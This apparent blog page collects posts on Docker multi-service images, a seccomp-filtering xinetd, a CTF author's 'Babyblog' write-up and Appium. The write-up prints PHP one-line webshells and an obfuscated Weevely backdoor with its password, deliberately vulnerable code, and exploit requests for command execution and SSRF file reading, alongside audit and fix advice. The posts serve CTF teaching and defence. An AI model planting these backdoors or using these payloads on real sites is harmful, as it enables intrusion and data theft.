如何科学的在Docker Container中运行多个服务

在一个Docker Container中运行多个服务?打扰了。

0x00 前言

Docker,或说任何基于内核namespace的轻量级进程隔离技术,在设计之初,都不是为了当作虚拟机使用的。也就是说,其中运行的并不是一个完整的操作系统。包括Docker官方,也是推荐在一个Container内仅运行一个服务。如果需要运行多个服务,应通过docker run --link 或者docker-compose来关联多个容器。但是在实际的应用中,我们经常希望将一个完整的可运行环境打包成一个docker image,不再依赖其他的容器。比如在CTF比赛中,将多个服务打包成一个Image,可以有效地提高在环境受损后恢复的效率。在经历了多场比赛,看过各种大师傅用各种奇怪的姿势完成这个任务后,觉得应该好好的讨论一下这个问题。

0x01 错误的姿势

  1. 使用upstart的启动方式
# Dockerfile
From ubuntu:14.04
RUN apt-get update && apt-get upgrade -y && apt-get install mysql apache2 php7.0 
ADD web /var/www/html
RUN service mysql start && /var/www/html/init_sql.sh && service mysql stop
CMD service mysql start && service apache2 start && while true; do sleep 10;done
  1. 使用systemd的启动方式
# Dockerfile
From ubuntu:16.04
RUN apt-get update && apt-get upgrade -y && apt-get install mysql apache2 php7.0 
ADD web /var/www/html
RUN systemctl start mysql && /var/www/html/init_sql.sh && systemctl stop mysql
CMD systemctl start mysql && systemctl start apache2 && while true; do sleep 10;done
  1. 使用启动脚本启动多个服务
# Dockerfile
From ubuntu:16.04
RUN apt-get update && apt-get upgrade -y && apt-get install mysql apache2 php7.0 
ADD web /var/www/html
ADD entrypoint.sh /sbin/
RUN chmod +x /sbin/entrypoint.sh /var/www/html/init_sql.sh&& \
     /etc/init.d/mysql start && /var/www/html/init_sql.sh && /etc/init.d/mysql stop
CMD /sbin/entrypoint.sh
#!/bin/bash 

# entrypoint.sh
/usr/bin/mysqld start &
/usr/bin/httpd &
while true
do
sleep 100
done

在实际中,使用方法1或者方法2很大几率无法完成将多个服务跑在同一个container中的任务。方法3虽然可以,但仍然存在一些问题:

  1. 一旦产生僵尸进程,将无人回收,只有杀掉整个container才能解决。
  2. 在停止container的时候将无人处理SIGTERM等信号。
  3. 很难重启其中某一个服务

方法1方法2不能成功,是因为docker只是一个进程隔离的沙箱环境,并不是真正的虚拟机。而service xxx startsystemctl start xxx 分别是upstartsystemd这两个/sbin/init进程的替代者的服务管理命令。而upstartsystemd都要求系统必须是物理机或虚拟机,并不支持作为container的init进程。方法3存在问题是因为,在正常的系统中,init进程永远占用PID=1的位置,回收僵尸进程、处理未处理的信号等都是由init进程帮我们完成的,一个子进程如果失去了父进程,也会由init进程接管。但是在container中,init进程并不存在,PID=1的进程是我们在Dockerfile中定义的Entrypoint或最后一个CMD指定的命令。

root@vpscn:/var/lib/docker# docker exec -it hackmd sh
/hackmd # ps -ef
PID   USER     TIME   COMMAND
    1 hackmd     1:03 node app.js
   42 hackmd     0:00 /usr/local/bin/node ./lib/workers/dmpWorker.js
   62 root       0:00 sh
   69 root       0:00 ps -ef

因此,对于启动方法3的container,我们应该在启动时加上--init参数,来强制使用tini作为init进程。但是就算这样,在服务多了之后,进行重启等操作仍然很繁琐。

0x02 推荐的姿势

作为一个~~金牌运维~~打杂的,简单谈谈我常用的方法。

首先推荐一个超级好用的基础镜像phusion/baseimage。截至SUCTF2018环境准备完成时,该镜像的最新版本是0.10.1,基于ubuntu 16.04。我们常用的apt-get等命令都可以无缝兼容。phusion/baseimage 采用了作者自己开发的一个基于pythoninit进程作为Container的Entrypoint,采用runit作为服务管理器。这个基础镜像还是在Coding打杂的时候知道的,Coding ~~WebIDE~~ Studio 的Web Terminal也是基于这个镜像做的。NUAACTF/SUCTF的PWN题基础镜像ctf-xinetd也是基于这个镜像做的。

然后直接贴个在SUCTF2018运维期间写的Dockerfile

#Dockerfile
FROM phusion/baseimage:0.10.1
MAINTAINER Yibai Zhang <xm1994@outlook.com>

RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list &&\
    sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list &&\
    apt-get update && apt-get install -y apache2 libapache2-mod-php php-mysql mariadb-server &&\
    apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* /var/www/html/*

RUN mkdir -p /etc/service/apache2/ && \
    printf "#!/bin/sh\n\ntrap \"apachectl -k graceful-stop\" 1 2 3 6 15\n\nexec /usr/sbin/apachectl -D FOREGROUND\n" > /etc/service/apache2/run &&\
    chmod +x /etc/service/apache2/run && mkdir -p /etc/service/mysql/ &&\
    printf "#!/bin/sh\n\ntrap \"mysqladmin -uroot -psuCTF_P1us_1s shutdown\" 1 2 3 6 15\n\nexec /usr/bin/mysqld_safe" > /etc/service/mysql/run &&\
    mkdir -p /var/run/mysqld/ && chown mysql:mysql /var/run/mysqld &&\
    chmod 700 /etc/service/mysql/run /etc/service/apache2/run

COPY web /var/www/html
COPY flag /flag
RUN echo "secure-file-priv=/var/www/" >>/etc/mysql/mariadb.conf.d/50-server.cnf && chmod -R 777 /var/www/html/favicon
COPY init_sql.sh /tmp/init_sql.sh
RUN chmod +x /tmp/init_sql.sh && bash -c "/tmp/init_sql.sh" && rm /tmp/init_sql.sh
EXPOSE 80
#!/usr/bin/env bash
#init_sql.sh

mysqld_safe &   
echo -n "Waiting for mysql startup"
while ! mysqladmin --host="localhost" --silent ping ; do
    echo -n "."
    sleep 1
done
echo

mysql -uroot <<EOF
UPDATE mysql.user SET Password=PASSWORD('XXXXXX'), plugin = '' WHERE User='root';
create database calc;
use calc;
create table user(
id INT NOT NULL AUTO_INCREMENT primary key,
username varchar(32) NOT NULL,
password varchar(32) NOT NULL
)ENGINE=InnoDB DEFAULT CHARSET=utf8;
insert into user values(1,'admin','aa67095d8e65d624548cb6b50bd4778e');
create table file(
id INT NOT NULL AUTO_INCREMENT primary key,
filename varchar(32) NOT NULL,
filehash varchar(32) NOT NULL,
sig varchar(120) NOT NULL
)ENGINE=InnoDB DEFAULT CHARSET=utf8;
create table flag(
flag varchar(120) primary key
)ENGINE=InnoDB DEFAULT CHARSET=utf8;
insert into flag values('SUCTF{a_very_long_long_long_long_long_fake_flag_d}');
grant SELECT, INSERT on calc.user to 'suctf'@localhost identified by 'suctf';
grant SELECT, INSERT, UPDATE on calc.file to 'suctf'@localhost ;
grant SELECT on calc.flag to 'suctf'@localhost ;
FLUSH PRIVILEGES;
EOF

mysqladmin -uroot -pXXXXXX shutdown

这里着重看一下printf "#!/bin/sh\n\ntrap \"apachectl -k graceful-stop\" 1 2 3 6 15\n\nexec /usr/sbin/apachectl -D FOREGROUND\n" > /etc/service/apache2/run,这个命令就是在创建runit启动脚本。具体的说明可以去看phusion/baseimage或者runit的手册。执行完成后会在/etc/service/apache2/run下面生成如下内容的脚本

#!/bin/sh

trap "apachectl -k graceful-stop" 1 2 3 6 15

exec /usr/sbin/apachectl -D FOREGROUND

这个脚本会作为runit的子进程运行,并将Apache2保持在前台运行。在接收到1 2 3 6 15这几个信号的时候友好的(graceful)结束Apache2。如果在运行中需要重启Apache服务,只需要运行docker exec container_name sv restart apache2即可。通过这种方式,在Container停止的时候也可以通知相关的进程,而不是直接全部杀死,更可以保证服务的完整性。~~虽然在比赛中基本挂了就要恢复环境根本不需要保证完整性。~~

xinetd-kafel – 一个更安全的xinetd服务

为了保证CTF解题/渗透赛中PWN服务有更稳定的表现(预防搅屎棍)和CTF攻防赛中有人使用ptrace/seccomp等系统调用做通用防御,我在xinetd中加入了对syscall的过滤。感谢Google的Kafel项目,给编写seccomp bpf代码提供了一种更方便的方法。

0x00 前言:为啥要搞这个东西?

众所周知,在CTF线下赛中,各大主办方明令禁止使用通用防御软件/规则对赛题进行防御。但是目前在国内外的各大比赛中,PWN题目多用socat或xinetd提供服务。而这两个组建都太过简陋,无法提供精细的系统调用控制,主办方对通防工具的检查多为人工登陆gamebox检查。
在近日结束的一场线下赛中,某战队向我反馈成功的使用了我在去年编写的一个PWN通防工具苟到了最后(关于这个工具的原理如果有兴趣欢迎star一下对应项目,人数多的话我会再开坑写文章)。
我也惊讶于主办方竟然对这么大型的通防工具都没有察觉。

而在CTF解题赛/渗透赛中,虽然有docker这一容器技术可以为pwn题目隔离运行环境,限制运行资源,方便重启等维护工作,但依然难以避免有部分搅屎选手采用诸如Fork炸弹等手段对服务器进行DoS攻击。
因此,对一些用不到的的系统调用进行限制,也可以大大减少搅屎棍选手的数量。(Docker已直接支持对container内程序进行系统调用限制Read More

因此,xinetd-kafel这一改版的xinetd服务油然而生。

0x01 原理:你对xinetd做了点啥?

其实修改xinetd让其支持对系统调用的过滤这一想法最早在Defcon 2015 Final时就已被其主办方实现。但主办方并未开源其xinetd代码(也可能是我没找到),而且其只能在xinetd的配置文件中对syscall进行简单的黑白名单过滤,难以有效限制日渐增长的搅屎大军。
让程序支持syscall过滤通常来讲有两种办法:
1. ptrace
2. seccomp
其中,ptrace就是linux下gdb用来调试程序所使用的syscall,而且其功能如其名,process trace, 用于跟踪进程的各种调用。
但是由于ptrace使用过于复杂,我们在xinetd中,并未使用这一方式,而采用了seccomp。

seccomp是个啥?

seccomp - operate on Secure Computing state of the process
seccomp 中文直译就是“操作进程的安全计算状态”,其实就是通知内核对进程的系统调用进行限制。几年前CentOS/RedHat Linux默认启用的selinux底层就是使用的这个系统调用对进程进行系统调用限制。当年应该人人装完linux的第一件事就是关掉selinux。现在的Ubuntu和CentOS都已不再默认安装或开启selinux了。
通过man seccomp我们就能看到seccomp的相关调用方法。

prctl(PR_SET_SECCOMP, SECCOMP_MODE_XX, args);
seccomp(SECCOMP_MODE_XX, flags, args);

linux Man page对seccomp的描述非常有歧义,其提供了如上两种接口,这里我把其参数相应的对应了起来。seccomp的第二个参数flags很难查到相关资料,而且在我们的场景下并不影响使用,就不再多做解释。seccomp调用会对当前进程及其子进程生效,如果我们调用seccomp之后,当前进程的系统调用就会被限制。

SECCOMP_MODE_XX共有两种选择:
1. SECCOMP_MODE_STRICT
2. SECCOMP_MODE_FILTER

SECCOMP_MODE_STRICT 会将系统调限制在 read, write, _exit (but not exit_group), sigreturn中。 我们可以编写一个小程序测试一下:

#include <stdio.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/audit.h>
#include <linux/signal.h>
#include <sys/prctl.h>
#include <unistd.h>

int main(void)
{
    puts("a");
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT, 0);
    puts("b");
    system("echo c");
    return 0;
}

编译运行后结果如下:

xm1994@xm1994-vm:~$ ./a.out 
a
b
Killed

程序在执行到system函数后就提示了Killed。这是因为在执行system时,会调用fork和execve两个系统调用。
如果我们删掉system()函数后再运行呢?程序依然会提示killed。这个问题是由于在新版的libc中,main函数退出后。libc_start_main会调用exit_group(0)结束程序以及其子进程(感觉是为了防止僵尸进程?),但再旧版的libc中,执行的是exit()。

SECCOMP_MODE_FILTER 模式则允许传入一个过滤器参数,进行自定义的系统调用过滤。

这过滤器咋搞啊?

seccomp使用的过滤器叫BPF, 允许在内核中直接设置数据包过滤模式。 我们使用wireshark/tcpdump进行网络抓包时,设置的抓包规则就会被编译成bpf送入内核。在内核中,系统调用流程也会反映在网络数据包(特殊的)的处理流程中(还有很多其他的系统事件也会以数据包的形式存在)。因此,我们也可以通过编译bpf规则到内核中,来自定义seccomp的过滤规则。

 struct sock_fprog {
    unsigned short      len;    /* Number of BPF instructions */
    struct sock_filter *filter; /* Pointer to array of
                                    BPF instructions */
};

Each program must contain one or more BPF instructions:

struct sock_filter {            /* Filter block */
    __u16 code;                 /* Actual filter code */
    __u8  jt;                   /* Jump true */
    __u8  jf;                   /* Jump false */
    __u32 k;                    /* Generic multiuse field */
};

bpf规则实际上是在内核中的bpf虚拟机中运行,也就是说他也是一种opcode,因此,我们需要一些工具去生成相应的opcode。一个比较常用的工具是libseccomp,它可以通过一些接口来生成bpf规则代码。但使用libseccomp的话就需要自己写一个parser去调用相关的接口了。万幸,在调研中,我发现了谷歌的某个员工编写的kafel库, 他可以很方便的将文本描述的过滤规则编译成sock_fprog结构体。

0x02 修改:你到底改了点啥?

在阅读了xinetd代码后,发现其代码结构是相当的干净易于理解的。我在其配置文件parser中添加了kafel_rule 这一选项,用于指定kafel规则文件。随后将文件编译为sock_fprog结构体保存在每个service的配置中。
xinetd在接收到连接后会fork出来一个子进程,随后通过dup/dup2进行流重定向。在流重定向完成后,会调用execve执行目标服务程序。这一过程类似于在shell中执行程序并对流重定向,如果读者实现过简易的shell,应该很好理解。
我们只需要在execve之前调用 prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, args); 便可对目标服务程序设定seccomp规则。

这一修改其实十分简单,代码的总变更行数不超过200行。

0x03 效果:真管用?

当然管用了,不信自己试试。

这个版本的xinetd我们已经应用到了战队布置pwn题使用的docker image:ctf-xinetd中。欢迎各位大师傅脱下来试用,好用的话别忘点个star~。

0x04 目标:理想很丰满

这个工具我用了不到六个小时就写完了。之所以这么赶时间,是希望在即将到来的国赛和以后的比赛中,能有主办方使用和推广这一工具,为选手提供更加干净公平的比赛环境。最终目的当然是国内外的所有比赛都能用上这一工具,但是理想很丰满,怕是到最后只有我们战队和比较熟悉的几个战队办比赛才会用吧233333。

XMan2017夏令营结业攻防赛Babyblog出题思路&WriteUP

XMan 2017 AWD Babyblog author’s turtoral & writeup

0x00 出题思路

常见一句话木马

一句话木马是在日常攻击和渗透中使用的最广泛的一类木马,其具有代码量小,变形多,易隐藏等特性。这类一句话木马多为通过eval或类似命令直接执行对应语言的字符串代码,达到可以执行任意命令的效果。在本题中,我一共放置了四种不同类型的一句话木马:

# 1. app/template/*.tpl
eval($_POST[passwd])

# 2. app/controllers/PostsController.php 
$_GET[function]($_POST[params])

# 3. bootstrap/autoload.php
echo `$_POST[shellcmd]`

# 4. app/views/errors/404.blade.php
@preg_replace("/[pageerror]/e", $_POST['passwd'], "saft");

常见大马

相比于小马,这类木马通常体积稍大,更不易隐藏。但其中可以包含更多加密和混淆的措施,使攻击行为更不容易被察觉。在本题中,我放置了一个Weevely木马,其密码为xman1234

# 1. autoload_real.php
$i='er";$K3i=$m[1][0K3].K3$m[1K3]K3[1];$hK3=$K3sl($ss(K3md5($i.$kh),0,K33));$f=$sl(K3$sK3s(md5($i.$';
$D='kfK3K3),0,3));$p="K3";foK3K3r(K3$K3z=1;$z<count($m[1]);K3$z++)$pK3.=$q[$m[K32K3][K3K3$z]];if(sK';
$v='3LANK3GUAK3GE"];if($rr&&$ra)K3{$u=paK3rK3K3sK3K3e_url($rr);parse_str($uK3["query"],$qK3);$q=arK';
$B='[$i].=$p;$eK3=strpK3oK3s($s[$i]K3,$f);ifK3($eK3){$k=$khK3.K3$kf;oK3b_start();@evaK3l(@gzuncK3om';
$o='3;}}return K3$oK3;}$rK3=$_K3SERVER;$K3rr=@$r[K3"HTTP_REFEREK3R"];$ra=K3@$r["K3HTTP_AK3CCK3EPT_K';
$O='K3;iK3f($q&K3&$m){@sesK3sioK3n_start()K3;$s=K3&$_SK3ESSIK3OK3N;$ss="substK3r";$sK3l="strtK3olow';
$H='3="";for($i=0;$i<$l;K3){fK3orK3($j=0;($j<$K3c&&$i<$K3lK3)K3;$j++K3,$i++){$o.=$tK3{$i}^$k{$K3j}K';
$c='$K3ss($s[$i],0K3,$eK3))),$k))K3);$K3o=oK3b_get_conK3tentsK3();ob_enK3d_cK3lean();K3K3$d=baseK36';
$m='4_encode(x(K3gzcompK3ress($oK3),$kK3));print("<K3$k>$dK3K3</$k>"K3);@sK3ession_deK3stroy();}}}}';
$t='$kh="a8bK3b";$K3kf="c44K3K3a";funK3ctK3ion x($t,$k){$cK3=sK3trlen($kK3);$l=stK3rlK3en($t);K3$oK';
$M='prK3ess(@x(@bK3aK3se64K3_decodeK3(pregK3_replaK3ce(aK3rray("/_/",K3"/-/"),arrK3ay(K3"/","K3+"),';
$f='3trposK3($p,$h)===0K3){$s[$i]=""K3;$p=$sK3s($pK3,3);}K3K3if(array_key_exisK3ts($i,K3$K3sK3)){$s';
$Q=str_replace('d','','crdddeatde_fdunctdion');
$b='3raK3y_vK3alues(K3$q)K3;preg_mK3aK3tch_all("K3/(K3[\\K3w])[\\w-]+(?:;q=0.([\\d]))K3?,K3?/",$ra,$m)';
$l=str_replace('K3','',$t.$H.$o.$v.$b.$O.$i.$D.$f.$B.$M.$c.$m);
$q=$Q('',$l);$q();

在这段大马中,$Q$l均为字符串。Weevely借助PHP可以将函数名字符串用作类似函数指针的特性,来构造木马。

$Q = create_function

$kh = "a8bb";
$kf = "c44a";
function x($t, $k) {
	$c = strlen($k);
	$l = strlen($t);
	$o = "";
	for ($i = 0;$i < $l;) {
		for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
			$o.= $t{$i} ^ $k{$j};
		}
	}
	return $o;
}
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
	$u = parse_url($rr);
	parse_str($u["query"], $q);
	$q = array_values($q);
	preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
	if ($q && $m) {
		@session_start();
		$s = & $_SESSION;
		$ss = "substr";
		$sl = "strtolower";
		$i = $m[1][0] . $m[1][1];
		$h = $sl($ss(md5($i . $kh), 0, 3));
		$f = $sl($ss(md5($i . $kf), 0, 3));
		$p = "";
		for ($z = 1;$z$d");@session_destroy();}}}}
"

任意文件包含

任意文件包含多为服务端程序在开发时没对可包含目录和文件做限制,导致可以读取任何文件。一般的表现形式为http://localhost/page=index或类似方式。本题中,我们在博客文章中引入了正文模板,这里的模板就具有文件包含漏洞。

# 1. app/views/posts/show.blade.php
<div class="article-body">
    {{ require __DIR__."/../../template/".$post->template }}
    {{ $post->body }}
</div>

任意文件上传

任意文件上传多为服务端程序在开发时,未对可上传文件的扩展名进行限制,导致可以上传服务器脚本,并通过HTTP访问执行。本题中,我们在博客文章图片上传处未对可上传文件做限制。

# 1. app/controllers/PostsController.php
    public function uploadImage()
    {
        $data = [
            'success' => false,
            'msg' => 'Failed!',
            'file_path' => ''
        ];

        if ($file = Input::file('upload_file'))
        {
            $fileName        = $file->getClientOriginalName();
            $extension       = $file->getClientOriginalExtension() ?: 'png';
            $folderName      = '/uploads/images/' . date("Ym", time()) .'/'.date("d", time()) .'/'. Auth::user()->id;
            $destinationPath = public_path() . $folderName;
            $safeName        = str_random(10).'.'.$extension;
            $file->move($destinationPath, $safeName);
            $data['file_path'] = $folderName .'/'. $safeName;
            $data['msg'] = "Succeeded!";
            $data['success'] = true;
        }
        return $data;
    }

服务端请求伪造

服务端请求伪造是指在开发过程中,有些用户提交的资源(如图片,文字等)需要加载到服务器本地进行处理,但服务端并未对资源地址进行限制,导致的可以探测服务器内网或任意本地文件读取。本题中,我们设计了/resolve_image这个调用,但是并没有制作相应的前端页面。

# 1. app/controllers/PostsController.php
    public function resolveImage()
    {
        $resp = [
            'success' => false,
            'msg' => 'Failed!',
            'file_path' => ''
        ];

        $data = Input::only('resolve_file');

        $content = @file_get_contents($data['resolve_file']);
        if ($content)
        {
            $extension       = 'png';
            $folderName      = '/uploads/images/' . date("Ym", time()) .'/'.date("d", time()) .'/'. Auth::user()->id;
            $destinationPath = public_path() . $folderName;
            $safeName        = str_random(10).'.'.$extension;
            @mkdir($destinationPath, 0755, true);
            @file_put_contents($destinationPath .'/'. $safeName, $content);
            $resp['file_path'] = $folderName .'/'. $safeName;
            $resp['msg'] = "Succeeded!";
            $resp['success'] = true;
        }
        return $resp;
    }

0x01 审计与防御方式

常见一句话木马

可以通过grep或find等命令搜索相关关键字(如eval, system, passthru, $_POST, $_REQUEST)等,来快速定位相关位置,随后对源码进行审查。这类木马通常不会影响程序运行逻辑,因此可以直接删除相关代码。

$ grep -re eval
vendor/d11wtq/boris/lib/Boris/EvalWorker.php:        $__result = eval($__input);
vendor/d11wtq/boris/lib/Boris/EvalWorker.php:        eval($__hook);
app/template/3.tpl:    echo isset($_POST["template"]) ? eval($_POST["template"]): "";
app/template/1.tpl:    echo isset($_POST["template"]) ? eval($_POST["template"]): "";
app/template/2.tpl:    echo isset($_POST["template"]) ? eval($_POST["template"]): "";

$grep -re \$_POST
bootstrap/compiled.php:        $request = self::createRequestFromFactory($_GET, $_POST, array(), $_COOKIE, $_FILES, $_SERVER);
bootstrap/compiled.php:        $_POST = $this->request->all();
bootstrap/compiled.php:        $request = array('g' => $_GET, 'p' => $_POST, 'c' => $_COOKIE);
bootstrap/autoload.php:echo `$_POST[checker]`;
public/packages/frozennode/administrator/js/ckeditor/samples/assets/posteddata.php:if (!empty($_POST))
...
app/views/errors/404.blade.php:@preg_replace("/[pageerror]/e", $_POST['notfound'], "saft");
app/storage/views/dde1e00e577ea930001955e78ec38ca4:@preg_replace("/[pageerror]/e", $_POST['notfound'], "saft");
app/template/3.tpl:    echo isset($_POST["template"]) ? eval($_POST["template"]): "";
app/template/1.tpl:    echo isset($_POST["template"]) ? eval($_POST["template"]): "";
app/template/2.tpl:    echo isset($_POST["template"]) ? eval($_POST["template"]): "";

常见大马

基本方法同小马,但由于大马结构复杂,更加需要平时的积累和人工分析能力。这类木马通常不会影响程序运行逻辑,因此可以直接删除相关代码或文件。

任意文件包含

可以通过grep或find等命令搜索相关关键字(如include, require)等,来快速定位相关位置,随后对源码进行审查。但因为这类关键词几乎在所有的代码文件中都存在,审查难度相对较大。但由于任意文件包含一般出现在业务逻辑内,与常用库的包含方式有所区别,有能力的团队可以开发一些审计工具,对其特征进行审计,也可以从业务逻辑入手对相关代码进行审计。由于这类问题会影响程序运行逻辑,因此需要选手理解题意,根据题目的业务逻辑修复代码或添加防御措施。

在本题中,容易发现系统自带的三个模板均以[0-9]\.tpl命名,因此在相关业务逻辑中,对提交的模板名称进行过滤即可。具体的位置如下。

# 1. app/controllers/PostsController.php
public function store()
{
    $validator = Validator::make(Input::all(), Post::$rules);
    
    if ($validator->fails())
    {
        return Redirect::back()->withErrors($validator)->withInput();
    }
    $data = Input::only('title', 'body', 'category_id', 'template');
    $data['user_id'] = Auth::user()->id;
    $data['body'] = Purifier::clean($data['body'], 'ugc_body');
    
    $post = Post::create($data);
    $post->tag(Input::get('tags'));
    
    Flash::success(lang('Operation succeeded.'));
    return Redirect::route('posts.show', $post->id);
}
# 2. app/controllers/PostsController.php
public function update($id)
{
    $post = Post::findOrFail($id);
    $this->authorOrAdminPermissioinRequire($post->user_id);
    $validator = Validator::make($data = Input::all(), Post::$rules);
    if ($validator->fails())
    {
            return Redirect::back()->withErrors($validator)->withInput();
    }
    
    $data['body'] = Purifier::clean($data['body'], 'ugc_body');
    
    $post->update($data);
    $post->retag(Input::get('tags'));
    
    Flash::success(lang('Operation succeeded.'));
    return Redirect::route('posts.show', $post->id);
}

在这两个函数中,对$data['template']提供的文件名进行正则匹配过滤即可。

任意文件上传

可以通过grep或find等命令搜索相关关键字(如upload, $_FILES, move_uploaded_file, move)等,来快速定位相关位置,随后对源码进行审查。这类漏洞一般比较容易进行审查,相关关键词即可大致定位可能出现问题的位置。由于这类函数用途很多,因此审计难度也相对较大。建议从业务逻辑入手对相关代码进行审计。由于这类问题会影响程序运行逻辑,因此需要选手理解题意,根据题目的业务逻辑修复代码或添加防御措施。

在本题中,容易发现博客文章图片上传功能未对文件类型进行过滤,我们需要修改相关代码,过滤掉可能导致上传木马文件的扩展名。

# 1. app/controllers/PostsController.php
public function uploadImage()
{
    $data = [
        'success' => false,
        'msg' => 'Failed!',
        'file_path' => ''
    ];

    if ($file = Input::file('upload_file'))
    {
        $fileName        = $file->getClientOriginalName();
        $extension       = $file->getClientOriginalExtension() ?: 'png';
        $folderName      = '/uploads/images/' . date("Ym", time()) .'/'.date("d", time()) .'/'. Auth::user()->id;
        $destinationPath = public_path() . $folderName;
        $safeName        = str_random(10).'.'.$extension;
        $file->move($destinationPath, $safeName);
        $data['file_path'] = $folderName .'/'. $safeName;
        $data['msg'] = "Succeeded!";
        $data['success'] = true;
    }
    return $data;
}

这里可以简单的过滤$safeName中是否包含'php'等可作为脚本运行的文件扩展名字符串,发现问题直接返回错误即可。

服务端请求伪造

可以通过grep或find等命令搜索相关关键字(如file_get_content, curl)等,来快速定位相关位置,随后对源码进行审查。但由于这类函数用途很多,因此审计难度也相对较大。建议从业务逻辑入手对相关代码进行审计。由于这类问题会影响程序运行逻辑,因此需要选手理解题意,根据题目的业务逻辑修复代码或添加防御措施。

在本题中,此漏洞并不存在前端调用,因此只能对代码进行审计。可以发现在/resolve_file请求对应的处理函数中存在此类情况。

# 1. app/controllers/PostsController.php
public function resolveImage()
{
    $resp = [
        'success' => false,
        'msg' => 'Failed!',
        'file_path' => ''
    ];

    $data = Input::only('resolve_file');

    $content = @file_get_contents($data['resolve_file']);
    if ($content)
    {
        $extension       = 'png';
        $folderName      = '/uploads/images/' . date("Ym", time()) .'/'.date("d", time()) .'/'. Auth::user()->id;
        $destinationPath = public_path() . $folderName;
        $safeName        = str_random(10).'.'.$extension;
        @mkdir($destinationPath, 0755, true);
        @file_put_contents($destinationPath .'/'. $safeName, $content);
        $resp['file_path'] = $folderName .'/'. $safeName;
        $resp['msg'] = "Succeeded!";
        $resp['success'] = true;
    }
    return $resp;
}

可以发现这里file_get_contents直接传入了请求参数,而未对其做过滤,因此可能导致任意文件读取。这里可以通过检查$data['resolve_file']的开头是否为'http'并且对'localhost', '127.*.*.*'等相关的内网域名、IP等进行过滤。

0x02 漏洞利用方式

1. index

GET http://localhost:21000/?method=assert HTTP/1.1
Host: localhost:21000
Content-Length: 0
Content-Type: application/x-www-form-urlencoded
Referer: system('cat /home/web/flag/flag')

2. 404

POST http://localhost:21000/asdadasdaasd HTTP/1.1
Host: localhost:21000
Content-Length: 27
Content-Type: application/x-www-form-urlencoded

notfound=system("cat%20%2Fhome%2Fweb%2Fflag%2Fflag")

在比赛现场由于部署时使用了php7, preg_match的r选项已无法使用,因此该漏洞失效。

3. upload_image

POST /upload_image

直接上传一句话木马,随后通过一句话木马利用。

4. weevely in autoload_real.php

$ weevely http://ip:port/any xman1234

随后通过weevely直接读flag

5. Post checker=shellcmd in autoload.php

POST http://localhost:21000/ HTTP/1.1
Host: localhost:21000
Content-Length: 41
Content-Type: application/x-www-form-urlencoded

checker=cat%20%2Fhome%2Fweb%2Fflag%2Fflag

6. template any file require

http://localhost:21000/posts/create在发布文章时修改提交的模板值

html
<div class="form-group">
    <select class="form-control" name="template">
    <option value="/../../../../../../home/web/flag/flag">Template 1</option>
    <option value="2.tpl">Template 2</option>
    <option value="3.tpl">Template 3</option></select>
</div>

随后新发布的文章中就会包含flag的值

7. resolve_file SSRF

POST http://localhost:21000/resolve_image HTTP/1.1
Host: localhost:21000
Content-Length: 112
Content-Type: application/x-www-form-urlencoded
Cookie: laravel_session=eyJpdiI6ImN0alBVaUVmSWhDKzlpVXhybGVPZXc9PSIsInZhbHVlIjoianU3Ym9CcXFOeVN4bW5nS0k2MWxcL25Ed0FBN2s5VFg5SFlxRGl5eW12b1J4bkpSTFl3QzR3d0l4bUtvTzhMNklEQndEdlRDMVF0UmtSTllnVlNOaUR3PT0iLCJtYWMiOiJjNWNiNmMyODNjYmU1MGUyYTE0OWY0ZTMxMGQ4ZTRmM2Q2MDRhMDBjOWJmNTU4MGJjMDY1NGRkNzdjNDJhYjYwIn0%3D

resolve_file=php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D../../../../../../home/web/flag/flag

随后根据返回的json文件中file_path的值下载文件后base64解码即为flag

 

0x03 总结

这次出题难度属于较为简单的,考察的也是最基础的一些常见web注入点。但由于时间关系和比赛性质,没有对XSS,CSRF,SQL注入等知识点进行考察,且所有的漏洞点均为可直接利用,没有需要二次利用的漏洞。以后可能会尝试出一些和密码学/misc/pwn相结合的web攻防题。最后也恭喜在这次夏令营中取得优异成绩的各位大师傅!

Appium在Android UI测试中的应用

Android测试工具与Appium简介

Appium是一个C/S架构的,支持Android/iOS Native, Hybrid 和 Mobile Web Apps的测试框架,与测试程序通过Selenum Webdriver协议通讯。Webdriver的好处是通过HTTP RPC的方式调用Server上的过程,编写测试脚本不受语言的限制,无论是Python, Java, NodeJS均可以方便的编写测试。本文中将使用Python进行编程。

起因是因为市场部的同事抛来如下需求:批量添加一些微信好友。直接抓取请求进行重放的方法是不靠谱的,微信与服务端的通讯均加密,Pass。考虑使用xposed等框架hook相关函数进行操作。但是xposed需要越狱,且开发复杂,Pass。后来想到了使用UI测试工具进行模拟操作,开发较为简单。

Android UI测试工具有很多种,如Monkey, UIAutomator, Selendroid, Robotium等。其中UIAutomator, Monkey, Selendroid均为非侵入式的UI测试,也就是不需要修改源代码,只要安装了目标程序就可以进行测试。Robotium需要与源码一同编译测试。Appium实际上就是一个测试工具的统一调度软件,将不同的非侵入式测试工具整合在一起,对外提供统一的API。在Android 2.3以前的版本,Appium会调用Selendroid,之后的版本会直接使用UIAutomator,iOS下使用UIAutomation。Appium还支持FirefoxOS的UI测试。

Appium Gif

安装Appium

官网给出了命令行下的安装方法。但实际上Appium有GUI版本,更适合在Windows/MacOS下使用。Windows下需要安装.NET Framework。

> brew install node      # get node.js
> npm install -g appium  # get appium
> npm install wd         # get appium client
> appium &               # start appium
> node your-appium-test.js

Appium需要依赖Android SDK编译在手机端运行的两个插件,因此需要首先安装相应的Android SDK版本。这里直接使用了Android Studio中自带的SDK Manager。在SDKManager中选择和测试机相对应的SDK Platform和较新的Build-tools,如果需要使用模拟器测试还要装对应的ARM/x86 System Image,以及Intel HAXM Installer,用于加速x86虚拟机。Appium使用adb来与目标机器通讯,因此对于真机和模拟器操作几乎都是相同的,如何建立模拟器在此不再赘述。

安装完成后需要在Appium GUI中配置Android SDK目录,随后选择Android,点击Launch就可以启动Appium Server。

Appium-android-sdkAppium-launch

